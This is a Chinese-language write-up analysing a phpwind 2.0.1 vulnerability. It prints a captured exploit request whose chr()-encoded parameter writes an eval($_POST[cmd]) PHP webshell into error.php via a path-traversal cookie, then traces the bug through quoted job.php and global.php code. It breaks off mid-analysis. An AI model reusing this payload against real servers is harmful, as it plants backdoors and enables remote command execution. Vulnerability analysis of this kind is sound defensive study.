猫猫传给我一个phpwind2.0.1漏洞利用程序，可以直接在目录中写入一个木马。怎么说呢，这个漏洞是pinkeyes发现的，本文旨在分析这个漏洞的思路。直到发现这个漏洞是怎么产生的，我还在冒虚汗中，同时pinkeyes 的睿智深深的打动了我，原来我才明白什么才是真正的技术含量。且听我慢慢道来：

　　在程序运行时，我抓了一个包：

　　GET /phpwind/job.php?previewjob=preview&D_name=./attachment/set.php&tidwt=

　　(chr(46).chr(47).chr(101).chr(114).chr(114).chr(111).chr(114).chr(46).chr(112).chr(104).chr(112),w),

　　chr(60).chr(63).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).

　　chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(63).chr(62))?>HTTP/1.1

　　Content-Type: text/html

　　Cookie:skinco=../../require/hidden;

　　Host: www.5a609.com:81

　　Accept: text/html, **

　　User-Agent: Mozilla/3.0 (compatible; Indy Library)

　　Chr()里的那些东西我查了一下ascii字符表，得到的是这样的：

　　?>

　　很显然是在error.php里写入一行php木马： 。

　　所以关键是：

　　GET /phpwind/job.php?previewjob=preview&D_name=./attachment/set.php&tidwt=中$D_name和$tidwt的出处。这两个东西很重要!于是我下了一个phpwind 2.0.1的程序看看，开始以为是job.php有问题。进入job.php中，只发现如下代码：

　　elseif($previewjob=='preview'){

　　require_once(R_P.'require/bbscode.php');

　　require_once(R_P.'header.php');

　　if (empty($skin)) $skin=$db_defaultstyle;

　　if (file_exists(R_P."data/style/$skin.php")){

　　include_once("data/style/$skin.php");

　　}

　　好，在失望的同时也发现了$skin一定有问题，job.php文件头有个：require_once("./global.php");

　　接着我们来看看global.php里面的$skin参数吧：

　　if ($db_refreshtime!=0){

　　if('C:'.$REQUEST_URI==$lastpath && $onbbstime<$db_refreshtime){

　　!$_COOKIE['winduid'] && $groupid='guest';

　　$skin=$skinco ? $skinco : $db_defaultstyle;

　　Showmsg("refresh_limit");